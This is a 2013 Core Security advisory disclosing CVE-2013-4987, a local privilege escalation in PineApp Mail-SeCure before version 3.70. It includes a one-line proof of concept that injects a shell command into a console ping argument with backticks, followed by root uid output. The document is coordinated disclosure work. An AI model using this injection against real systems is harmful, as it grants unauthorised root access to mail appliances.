Core Security - Corelabs Advisory
PinApp Mail-SeCure Access Control Failure
1. *Advisory Information*
Title: PinApp Mail-SeCure Access Control Failure
Advisory ID: CORE-2013-0904
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: PineApp Team
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Access control failure [CWE-264]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4987
3. *Vulnerability Description*
A security vulnerability was discovered in PineApp  Mail-SeCure Suite
, allowing a non-privileged attacker to get a root shell by sending a
specially crafted command from the Mail-SeCure console. A valid user
account is needed to launch the attack, so this is a privileged
escalation vulnerability that can be exploited locally only.
4. *Vulnerable Packages*
. All Mail-SeCure versions prior to 3.70.
5. *Non-Vulnerable Packages*
. Mail-SeCure 3.70 (revision Sep. 2013).
This vulnerability was discovered and researched by John Petrusa from
This report was coordinated by Fernando Miranda from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
Open a Mail-SeCure console as 'pinapp' user and execute the following
pa_cli> system ping `/bin/sh>/dev/tty`
As a result, you should be the super-user:
uid=0(root) gid=0(root) groups=0(root)
8. *Report Timeline*
Core Security Technologies attempts to contact vendor using the PinApp
official contact page . No reply received. Publication date is set
for Sep 25th, 2013.
Core attempts to contact vendor.
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.
Technical details sent to the vendor.
Core asks for a status update.
Vendor notifies that they have a fix that will be included in the next
Vendor notifies that they will probably release the patch next week.
Core asks if there is a patch available.
Vendor notifies that they have released a global update to all
Mail-SeCure units worldwide to block the below vulnerability.
Advisory CORE-2013-0904 published.
 PinApp official contact page http://www2.pineapp.com/contact.
10. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
11. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at